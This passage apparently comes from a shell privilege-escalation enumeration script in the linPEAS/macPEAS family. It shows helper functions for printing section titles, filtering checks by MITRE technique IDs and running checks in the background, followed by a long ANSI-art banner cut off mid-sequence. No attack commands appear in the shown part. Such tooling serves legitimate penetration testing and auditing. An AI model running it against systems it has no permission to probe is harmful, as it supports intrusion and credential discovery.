$(seq 1 $title_len); do printf "═"; done; printf "═"; printf "╗" echo "" for i in $(seq 1 $rest_len); do printf "═"; done printf "╣ $GREEN${title}${BLUE} ╠" for i in $(seq 1 $rest_len); do printf "═"; done echo "" printf "%s" "${BLUE}" for i in $(seq 1 $rest_len); do printf " "; done printf "╚" for i in $(seq 1 $title_len); do printf "═"; done; printf "═"; printf "╝" printf "%s" "${NC}" echo "" } check_mitre_filter(){ # $1 = comma-separated MITRE technique IDs for this check (e.g. "T1082,T1548.003") # Returns 0 (run the check) when no filter is active OR when at least one ID matches. # Parent filters match child techniques (e.g. T1552 matches T1552.001), # but a child filter must not match a parent-only tag. # Uses pure parameter-expansion loops — no subprocess forks, POSIX-compliant. [ -z "$MITRE_FILTER" ] && return 0 _mitre_tags_left="$1," while [ -n "$_mitre_tags_left" ]; do _mitre_tag="${_mitre_tags_left%%,*}" _mitre_tags_left="${_mitre_tags_left#*,}" _mitre_base=${_mitre_tag%%.*} _mitre_filters_left="$MITRE_FILTER," while [ -n "$_mitre_filters_left" ]; do _mitre_filter="${_mitre_filters_left%%,*}" _mitre_filters_left="${_mitre_filters_left#*,}" [ "$_mitre_filter" = "$_mitre_tag" ] && return 0 [ "$_mitre_filter" = "$_mitre_base" ] && return 0 done done return 1 } print_2title(){ if [ "$DEBUG" ]; then END_T2_TIME=$(date +%s 2>/dev/null) if [ "$START_T2_TIME" ]; then TOTAL_T2_TIME=$(($END_T2_TIME - $START_T2_TIME)) printf $DG"This check took $TOTAL_T2_TIME seconds\n"$NC echo "" fi START_T2_TIME=$(date +%s 2>/dev/null) fi if [ -n "$2" ]; then printf ${BLUE}"╔══════════╣ $GREEN$1 ${DG}($2)\n"$NC #There are 10 "═" else printf ${BLUE}"╔══════════╣ $GREEN$1\n"$NC #There are 10 "═" fi } print_3title(){ if [ -n "$2" ]; then printf ${BLUE}"══╣ $GREEN$1 ${DG}($2)\n"$NC #There are 2 "═" else printf ${BLUE}"══╣ $GREEN$1\n"$NC #There are 2 "═" fi } print_3title_no_nl(){ printf "\033[2K\r" printf ${BLUE}"══╣ $GREEN${1}..."$NC #There are 2 "═" } eval_bckgrd(){ eval "$1" & CONT_THREADS=$(($CONT_THREADS+1)); if [ "$(($CONT_THREADS%$THREADS))" -eq "0" ]; then wait; fi } print_banner(){ if [ "$MACPEAS" ]; then bash -c "printf ' \e[38;5;238m▄\e[38;5;233m▄\e[38;5;235m▄\e[38;5;65m▄\e[48;5;239m\e[38;5;107m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;235m\e[38;5;71m▄\e[48;5;240m\e[38;5;65m▄\e[0m\e[38;5;237m▄\e[38;5;234m▄\e[38;5;233m▄\e[38;5;232m▄\e[38;5;239m▄\e[0m \e[38;5;233m▄\e[38;5;246m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;237m\e[38;5;71m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;71m\e[38;5;237m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;237m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[48;5;65m\e[38;5;71m▄\e[48;5;235m\e[38;5;71m▄\e[48;5;235m\e[38;5;71m▄\e[0m\e[38;5;237m▄\e[38;5;234m▄\e[0m \e[38;5;245m▄\e[38;5;233m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;239m\e[38;5;71m▄\e[48;5;71m \e[38;5;235m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;236m\e[38;5;64m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;2m\e[38;5;76m▄\e[48;5;64m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;64m\e[38;5;76m▄\e[48;5;2m\e[38;5;76m▄\e[48;5;22m\e[38;5;76m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;232m\e[38;5;70m▄\e[48;5;234m\e[38;5;22m▄\e[48;5;65m\e[38;5;232m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;238m▄\e[48;5;71m \e[48;5;237m\e[38;5;71m▄\e[48;5;236m\e[38;5;71m▄\e[0m\e[38;5;234m▄\e[38;5;238m▄\e[0m \e[38;5;239m▄\e[38;5;233m▄\e[48;5;235m\e[38;5;71m▄\e[48;5;238m\e[38;5;71m▄\e[48;5;71m \e[38;5;0m▄\e[48;5;236m\e[38;5;2m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;76m \e[38;5;70m▄\e[48;5;76m\e[38;5;64m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;76m\e[38;5;64m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;76m \e[48;5;22m\e[38;5;76m▄\e[48;5;0m\e[38;5;76m▄\e[48;5;234m\e[38;5;64m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;71m \e[48;5;234m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[0m\e[38;5;234m▄\e[38;5;233m▄\e[0m \e[38;5;233m▄\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;71m \e[38;5;235m▄\e[48;5;65m\e[38;5;235m▄\e[48;5;0m\e[38;5;255m▄\e[48;5;22m\e[38;5;15m▄\e[48;5;235m\e[38;5;15m▄\e[48;5;242m\e[38;5;15m▄\e[48;5;249m\e[38;5;15m▄\e[48;5;254m\e[38;5;15m▄\e[48;5;15m \e[38;5;255m▄\e[48;5;255m\e[38;5;234m▄\e[48;5;248m\e[38;5;251m▄\e[48;5;240m\e[38;5;15m▄\e[48;5;237m\e[38;5;15m▄\e[48;5;235m\e[38;5;15m▄\e[48;5;64m\e[38;5;15m▄\e[48;5;70m\e[38;5;251m▄\e[48;5;76m\e[38;5;8m▄\e[48;5;76m\e[38;5;237m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;64m\e[38;5;70m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;238m\e[38;5;2m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[48;5;237m\e[38;5;71m▄\e[0m \e[38;5;233m▄\e[48;5;238m\e[38;5;71m▄\e[48;5;236m\e[38;5;71m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;238m\e[38;5;234m▄\e[48;5;235m\e[38;5;255m▄\e[48;5;15m \e[38;5;233m▄\e[48;5;253m\e[38;5;0m▄\e[48;5;255m\e[38;5;232m▄\e[48;5;242m\e[38;5;238m▄\e[48;5;242m\e[38;5;233m▄\e[48;5;15m\e[38;5;237m▄\e[48;5;15m\e[38;5;255m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;145m\e[38;5;15m▄\e[48;5;237m\e[38;5;15m▄\e[48;5;22m\e[38;5;255m▄\e[48;5;70m\e[38;5;248m▄\e[48;5;234m\e[38;5;235m▄\e[48;5;234m\e[38;5;233m▄\e[48;5;71m\e[38;5;0m▄\e[48;5;71m\e[38;5;238m▄\e[48;5;71m \e[0m \e[48;5;71m \e[38;5;234m▄\e[48;5;233m\e[38;5;251m▄\e[48;5;255m\e[38;5;15m▄\e[48;5;15m \e[48;5;243m\e[38;5;235m▄\e[48;5;0m \e[38;5;243m▄\e[48;5;249m\e[38;5;15m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;249m\e[38;5;15m▄\e[48;5;235m\e[38;5;15m▄\e[48;5;232m\e[38;5;15m▄\e[48;5;235m\e[38;5;145m▄\e[48;5;71m\e[38;5;0m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;237m▄\e[0m \e[48;5;71m \e[48;5;65m\e[38;5;232m▄\e[48;5;241m\e[38;5;15m▄\e[48;5;15m \e[48;5;236m\e[38;5;245m▄\e[48;5;0m \e[48;5;247m\e[38;5;232m▄\e[48;5;15m \e[48;5;247m\e[38;5;15m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;236m \e[48;5;237m\e[38;5;236m▄\e[0m \e[48;5;71m \e[38;5;238m▄\e[48;5;234m\e[38;5;243m▄\e[48;5;253m\e[38;5;15m▄\e[48;5;15m \e[48;5;0m\e[38;5;7m▄\e[48;5;0m\e[38;5;239m▄\e[48;5;0m\e[38;5;102m▄\e[48;5;0m\e[38;5;234m▄\e[48;5;0m\e[38;5;232m▄\e[48;5;0m\e[38;5;252m▄\e[48;5;255m\e[38;5;15m▄\e[48;5;15m \e[48;5;239m\e[38;5;7m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;236m \e[0m \e[48;5;71m \e[38;5;236m▄\e[48;5;234m\e[38;5;250m▄\e[48;5;15m \e[38;5;255m▄\e[48;5;15m\e[38;5;250m▄\e[48;5;15m\e[38;5;102m▄\e[48;5;15m\e[38;5;238m▄\e[48;5;15m\e[38;5;235m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;2m▄\e[48;5;255m\e[38;5;2m▄\e[48;5;255m\e[38;5;64m▄\e[48;5;254m\e[38;5;70m▄\e[48;5;188m\e[38;5;70m▄\e[48;5;253m\e[38;5;70m▄\e[48;5;255m\e[38;5;70m▄\e[48;5;255m\e[38;5;70m▄\e[48;5;255m\e[38;5;70m▄\e[48;5;15m\e[38;5;28m▄\e[48;5;15m\e[38;5;64m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;237m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;237m▄\e[48;5;15m\e[38;5;240m▄\e[48;5;15m\e[38;5;102m▄\e[48;5;15m\e[38;5;251m▄\e[48;5;15m\e[38;5;255m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;234m\e[38;5;235m▄\e[48;5;236m \e[0m \e[48;5;71m \e[38;5;233m▄\e[48;5;232m\e[38;5;70m▄\e[48;5;238m\e[38;5;76m▄\e[48;5;65m\e[38;5;76m▄\e[48;5;236m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;76m \e[48;5;70m\e[38;5;76m▄\e[48;5;28m\e[38;5;76m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;235m\e[38;5;76m▄\e[48;5;240m\e[38;5;76m▄\e[48;5;145m\e[38;5;76m▄\e[48;5;15m\e[38;5;28m▄\e[48;5;15m\e[38;5;235m▄\e[48;5;15m\e[38;5;240m▄\e[48;5;15m\e[38;5;145m▄\e[48;5;15m\e[38;5;254m▄\e[48;5;15m \e[48;5;242m\e[38;5;251m▄\e[48;5;236m\e[38;5;235m▄\e[0m \e[48;5;65m\e[38;5;232m▄\e[48;5;235m\e[38;5;64m▄\e[48;5;70m \e[48;5;76m \e[48;5;2m\e[38;5;76m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;242m\e[38;5;76m▄\e[48;5;254m\e[38;5;64m▄\e[48;5;15m\e[38;5;234m▄\e[48;5;15m\e[38;5;243m▄\e[48;5;15m\e[38;5;253m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;233m \e[0m \e[48;5;232m \e[48;5;237m \e[48;5;70m \e[48;5;76m \e[38;5;70m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m \e[38;5;70m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;234m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;76m \e[48;5;28m\e[38;5;76m▄\e[48;5;235m\e[38;5;76m▄\e[48;5;102m\e[38;5;236m▄\e[48;5;250m\e[38;5;235m▄\e[48;5;233m\e[38;5;232m▄\e[0m \e[48;5;232m \e[48;5;237m \e[48;5;70m \e[48;5;76m \e[48;5;70m\e[38;5;76m▄\e[48;5;64m\e[38;5;76m▄\e[48;5;76m\e[38;5;64m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;233m\e[38;5;76m▄\e[48;5;22m\e[38;5;76m▄\e[48;5;76m \e[48;5;22m\e[38;5;76m▄\e[48;5;233m\e[38;5;76m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;28m\e[38;5;76m▄\e[48;5;76m \e[48;5;70m \e[48;5;236m \e[48;5;238m \e[48;5;236m\e[0m \e[48;5;232m\e[38;5;236m▄\e[48;5;236m\e[38;5;233m▄\e[48;5;64m \e[48;5;76m \e[48;5;70m\e[38;5;76m▄\e[48;5;22m\e[38;5;76m▄\e[48;5;76m \e[38;5;64m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;76m \e[48;5;233m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;76m \e[48;5;64m \e[48;5;236m \e[38;5;235m▄\e[0m \e[48;5;71m \e[48;5;232m\e[38;5;65m▄\e[48;5;64m\e[38;5;233m▄\e[48;5;76m \e[38;5;107m▄\e[48;5;77m\e[38;5;107m▄\e[48;5;77m\e[38;5;107m▄\e[48;5;77m\e[38;5;107m▄\e[48;5;76m\e[38;5;77m▄\e[48;5;76m \e[48;5;0m\e[38;5;70m▄\e[48;5;0m\e[38;5;232m▄\e[48;5;0m\e[38;5;232m▄\e[48;5;0m\e[38;5;70m▄\e[48;5;76m \e[38;5;77m▄\e[48;5;76m\e[38;5;107m▄\e[48;5;76m\e[38;5;107m▄\e[48;5;76m\e[38;5;107m▄\e[48;5;76m\e[38;5;77m▄\e[48;5;76m \e[38;5;70m▄\e[48;5;236m \e[48;5;237m\e[38;5;238m▄\e[48;5;234m\e[38;5;235m▄\e[0m \e[48;5;71m \e[48;5;235m\e[38;5;71m▄\e[48;5;64m\e[38;5;232m▄\e[48;5;76m \e[48;5;77m\e[38;5;76m▄\e[48;5;107m\e[38;5;77m▄\e[48;5;107m \e[38;5;77m▄\e[48;5;77m \e[48;5;76m \e[48;5;107m\e[38;5;77m▄\e[48;5;107m \e[48;5;71m\e[38;5;77m▄\e[48;5;76m \e[48;5;64m \e[48;5;236m\e[38;5;237m▄\e[48;5;237m\e[38;5;234m▄\e[0m \e[48;5;71m \e[48;5;232m\e[38;5;239m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m \e[48;5;70m\e[38;5;64m▄\e[48;5;237m\e[38;5;236m▄\e[48;5;238m\e[38;5;234m▄\e[48;5;235m\e[38;5;236m▄\e[0m \e[48;5;71m \e[48;5;237m\e[38;5;71m▄\e[48;5;232m\e[38;5;235m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m \e[48;5;70m\e[38;5;236m▄\e[48;5;236m \e[48;5;237m\e[38;5;234m▄\e[48;5;235m\e[38;5;236m▄\e[0m \e[48;5;71m\e[38;5;237m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[48;5;236m\e[38;5;71m▄\e[48;5;232m\e[38;5;65m▄\e[48;5;70m\e[38;5;0m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m \e[38;5;22m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;70m\e[38;5;236m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;236m\e[38;5;233m▄\e[0m \e[38;5;233m▀\e[48;5;71m\e[38;5;232m▄\e[48;5;71m \e[48;5;236m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;2m\e[38;5;235m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m \e[38;5;77m▄\e[48;5;76m\e[38;5;236m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;22m\e[38;5;238m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;71m \e[0m \e[48;5;65m\e[38;5;238m▄\e[48;5;71m\e[38;5;234m▄\e[48;5;71m \e[48;5;235m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;233m\e[38;5;238m▄\e[48;5;65m\e[38;5;234m▄\e[48;5;70m\e[38;5;232m▄\e[48;5;77m\e[38;5;0m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;235m▄\e[48;5;76m\e[38;5;237m▄\e[48;5;76m\e[38;5;237m▄\e[48;5;76m\e[38;5;65m▄\e[48;5;76m\e[38;5;65m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;234m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;237m\e[38;5;236m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;71m\e[38;5;236m▄\e[48;5;71m\e[38;5;236m▄\e[48;5;71m\e[38;5;237m▄\e[0m \e[38;5;232m▀\e[48;5;65m\e[38;5;236m▄\e[48;5;71m\e[38;5;234m▄\e[48;5;71m \e[48;5;65m\e[38;5;71m▄\e[48;5;237m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;237m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;71m \e[38;5;237m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;65m\e[38;5;8m▄\e[0m\e[38;5;234m▀\e[38;5;234m▀\e[38;5;239m▀\e[0m \e[38;5;234m▀\e[38;5;236m▀\e[48;5;71m\e[38;5;235m▄\e[48;5;71m\e[38;5;234m▄\e[48;5;71m\e[38;5;238m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;71m\e[38;5;236m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;65m\e[38;5;243m▄\e[0m\e[38;5;233m▀\e[38;5;235m▀\e[0m \e[38;5;242m▀\e[38;5;233m▀\e[38;5;232m▀\e[38;5;234m▀\e[38;5;236m▀\e[48;5;65m\e[38;5;236m▄\e[48;5;65m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;65m\e[38;5;237m▄\e[48;5;237m\e[38;5;8m▄\e[0m\e[38;5;234m▀\e[38;5;232m▀\e[38;5;232m▀\e[38;5;59m▀\e[0m '"; else if [ -f "/bin/bash" ]; then /bin/bash -c "printf ' \e[38;2;26;43;21m▄\e[38;2;58;91;50m▄\e[48;2;116;117;116m\e[38;2;68;119;56m▄\e[48;2;98;98;98m\e[38;2;86;143;70m▄\e[48;2;98;98;98m\e[38;2;100;153;87m▄\e[48;2;63;65;63m\e[38;2;102;164;86m▄\e[48;2;46;49;44m\e[38;2;98;168;79m▄\e[48;2;43;45;43m\e[38;2;91;155;75m▄\e[48;2;61;62;61m\e[38;2;78;137;63m▄\e[48;2;102;101;102m\e[38;2;64;112;52m▄\e[0m\e[38;2;38;67;32m▄\e[38;2;20;35;16m▄\e[38;2;10;20;8m▄\e[38;2;15;21;13m▄\e[0m \e[38;2;49;80;41m▄\e[38;2;73;133;59m▄\e[48;2;20;21;20m\e[38;2;91;163;72m▄\e[48;2;14;27;12m\e[38;2;96;174;76m▄\e[48;2;51;92;41m\e[38;2;98;177;78m▄\e[48;2;86;155;68m\e[38;2;98;177;78m▄\e[48;2;96;173;77m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;97;175;76m\e[38;2;98;177;78m▄\e[48;2;93;168;74m\e[38;2;98;177;78m▄\e[48;2;99;163;83m\e[38;2;97;177;77m▄\e[48;2;99;151;86m\e[38;2;98;177;78m▄\e[48;2;35;57;29m\e[38;2;98;176;78m▄\e[48;2;19;21;19m\e[38;2;94;169;75m▄\e[0m\e[38;2;70;125;56m▄\e[0m \e[38;2;42;65;36m▄\e[38;2;62;106;52m▄\e[48;2;94;95;94m\e[38;2;86;152;70m▄\e[48;2;57;72;53m\e[38;2;96;174;77m▄\e[48;2;57;96;47m\e[38;2;98;177;78m▄\e[48;2;78;136;62m\e[38;2;98;177;78m▄\e[48;2;95;167;76m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;77m▄\e[48;2;98;177;78m\e[38;2;91;165;72m▄\e[48;2;98;177;78m\e[38;2;76;137;60m▄\e[48;2;98;177;78m\e[38;2;54;97;42m▄\e[48;2;99;179;79m\e[38;2;39;71;30m▄\e[48;2;100;181;79m\e[38;2;35;60;30m▄\e[48;2;101;181;81m\e[38;2;42;66;37m▄\e[48;2;100;177;80m\e[38;2;52;73;45m▄\e[48;2;95;175;76m\e[38;2;47;75;40m▄\e[48;2;94;178;73m\e[38;2;41;75;33m▄\e[48;2;98;179;78m\e[38;2;42;73;34m▄\e[48;2;99;180;79m\e[38;2;40;70;33m▄\e[48;2;99;179;78m\e[38;2;44;75;36m▄\e[48;2;97;177;77m\e[38;2;55;93;46m▄\e[48;2;97;176;77m\e[38;2;65;113;52m▄\e[48;2;98;177;78m\e[38;2;79;141;63m▄\e[48;2;98;177;78m\e[38;2;93;166;75m▄\e[48;2;98;177;78m\e[38;2;99;177;79m▄\e[48;2;98;177;78m\e[38;2;97;177;78m▄\e[48;2;98;177;78m\e[38;2;97;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;94;170;75m\e[38;2;98;177;78m▄\e[48;2;71;128;56m\e[38;2;98;177;78m▄\e[48;2;34;56;28m\e[38;2;97;175;77m▄\e[48;2;64;66;64m\e[38;2;78;140;62m▄\e[0m \e[48;2;66;112;54m\e[38;2;98;177;78m▄\e[48;2;80;133;66m\e[38;2;98;177;78m▄\e[48;2;95;162;76m\e[38;2;98;177;78m▄\e[48;2;96;171;76m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;98;177;78m\e[38;2;96;174;76m▄\e[48;2;98;177;78m\e[38;2;74;130;59m▄\e[48;2;98;176;78m\e[38;2;32;49;27m▄\e[48;2;95;166;76m\e[38;2;18;29;15m▄\e[48;2;73;126;59m\e[38;2;65;113;53m▄\e[48;2;40;62;34m\e[38;2;107;209;83m▄\e[48;2;23;43;19m\e[38;2;77;220;42m▄\e[48;2;32;72;22m\e[38;2;72;218;36m▄\e[48;2;55;155;30m\e[38;2;73;217;37m▄\e[48;2;71;203;38m\e[38;2;73;217;37m▄\e[48;2;79;212;46m\e[38;2;73;218;37m▄\e[48;2;81;216;48m\e[38;2;73;218;37m▄\e[48;2;82;220;48m\e[38;2;73;218;37m▄\e[48;2;79;221;44m\e[38;2;73;218;37m▄\e[48;2;76;219;40m\e[38;2;73;218;37m▄\e[48;2;76;218;40m\e[38;2;73;218;37m▄\e[48;2;75;213;41m\e[38;2;73;218;37m▄\e[48;2;79;203;48m\e[38;2;73;218;37m▄\e[48;2;76;175;52m\e[38;2;73;218;37m▄\e[48;2;52;127;33m\e[38;2;73;218;37m▄\e[48;2;29;75;18m\e[38;2;73;217;37m▄\e[48;2;19;45;12m\e[38;2;73;218;36m▄\e[48;2;45;74;38m\e[38;2;65;196;33m▄\e[48;2;76;127;62m\e[38;2;44;132;24m▄\e[48;2;90;158;72m\e[38;2;16;45;10m▄\e[48;2;97;175;77m\e[38;2;28;50;22m▄\e[48;2;98;177;78m\e[38;2;80;145;64m▄\e[48;2;98;177;78m\e[38;2;97;175;77m▄\e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;78m▄\e[48;2;98;177;78m\e[38;2;98;177;77m▄\e[48;2;97;173;78m\e[38;2;98;177;78m▄\e[48;2;69;114;56m\e[38;2;98;177;78m▄\e[48;2;30;38;28m\e[38;2;103;179;83m▄\e[0m\e[38;2;99;149;87m▄\e[0m \e[48;2;98;177;78m\e[38;2;98;177;77m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;178;78m▄\e[48;2;98;177;78m\e[38;2;98;178;78m▄\e[48;2;98;177;78m\e[38;2;83;150;66m▄\e[48;2;98;177;78m\e[38;2;44;80;34m▄\e[48;2;99;179;78m\e[38;2;33;49;28m▄\e[48;2;87;159;69m\e[38;2;68;97;61m▄\e[48;2;46;84;37m\e[38;2;87;165;68m▄\e[48;2;25;37;21m\e[38;2;83;208;52m▄\e[48;2;59;131;42m\e[38;2;73;219;37m▄\e[48;2;74;199;43m\e[38;2;74;223;37m▄\e[48;2;72;213;38m\e[38;2;67;204;35m▄\e[48;2;73;218;37m\e[38;2;55;171;29m▄\e[48;2;72;218;36m\e[38;2;59;136;22m▄\e[48;2;72;218;36m\e[38;2;103;132;15m▄\e[48;2;73;219;37m\e[38;2;149;133;9m▄\e[48;2;72;220;37m\e[38;2;168;130;7m▄\e[48;2;73;220;37m\e[38;2;167;118;5m▄\e[48;2;72;218;37m\e[38;2;106;78;4m▄\e[48;2;69;210;36m\e[38;2;93;69;4m▄\e[48;2;66;199;34m\e[38;2;173;117;4m▄\e[48;2;63;192;32m\e[38;2;177;119;4m▄\e[48;2;62;186;32m\e[38;2;173;116;4m▄\e[48;2;61;186;31m\e[38;2;176;115;4m▄\e[48;2;63;191;32m\e[38;2;174;115;4m▄\e[48;2;67;202;34m\e[38;2;170;113;4m▄\e[48;2;70;213;36m\e[38;2;180;118;3m▄\e[48;2;72;219;37m\e[38;2;175;117;4m▄\e[48;2;73;220;37m\e[38;2;154;120;7m▄\e[48;2;73;220;37m\e[38;2;80;94;11m▄\e[48;2;73;219;37m\e[38;2;48;93;15m▄\e[48;2;73;218;37m\e[38;2;41;112;19m▄\e[48;2;72;215;36m\e[38;2;45;144;25m▄\e[48;2;64;192;32m\e[38;2;63;191;32m▄\e[48;2;32;99;16m\e[38;2;73;218;37m▄\e[48;2;21;41;16m\e[38;2;72;210;38m▄\e[48;2;38;66;30m\e[38;2;67;177;41m▄\e[48;2;79;141;63m\e[38;2;53;123;36m▄\e[48;2;98;178;78m\e[38;2;32;57;25m▄\e[48;2;98;179;77m\e[38;2;25;46;20m▄\e[48;2;97;177;77m\e[38;2;56;100;46m▄\e[48;2;98;177;78m\e[38;2;93;165;75m▄\e[48;2;97;176;77m\e[38;2;100;181;80m▄\e[48;2;98;177;77m\e[38;2;97;176;76m▄\e[48;2;97;176;78m\e[38;2;98;177;78m▄\e[48;2;99;174;79m\e[38;2;98;177;78m▄\e[0m \e[48;2;98;178;78m\e[38;2;46;76;38m▄\e[48;2;100;178;80m\e[38;2;50;69;45m▄\e[48;2;99;176;80m\e[38;2;35;46;33m▄\e[48;2;82;148;65m\e[38;2;7;9;6m▄\e[48;2;64;117;50m\e[38;2;35;54;30m▄\e[48;2;42;77;34m\e[38;2;52;107;39m▄\e[48;2;26;46;21m\e[38;2;80;194;52m▄\e[48;2;34;71;26m\e[38;2;73;216;38m▄\e[48;2;54;133;35m\e[38;2;67;192;32m▄\e[48;2;81;199;52m\e[38;2;81;158;23m▄\e[48;2;80;218;46m\e[38;2;100;110;11m▄\e[48;2;66;199;33m\e[38;2;152;98;2m▄\e[48;2;60;157;26m\e[38;2;220;129;1m▄\e[48;2;80;128;18m\e[38;2;251;145;0m▄\e[48;2;120;110;9m\e[38;2;255;147;0m▄\e[48;2;154;106;4m\e[38;2;255;147;0m▄\e[48;2;181;114;2m\e[38;2;255;147;0m▄\e[48;2;230;134;0m\e[38;2;255;147;0m▄\e[48;2;251;144;0m\e[38;2;255;147;0m▄\e[48;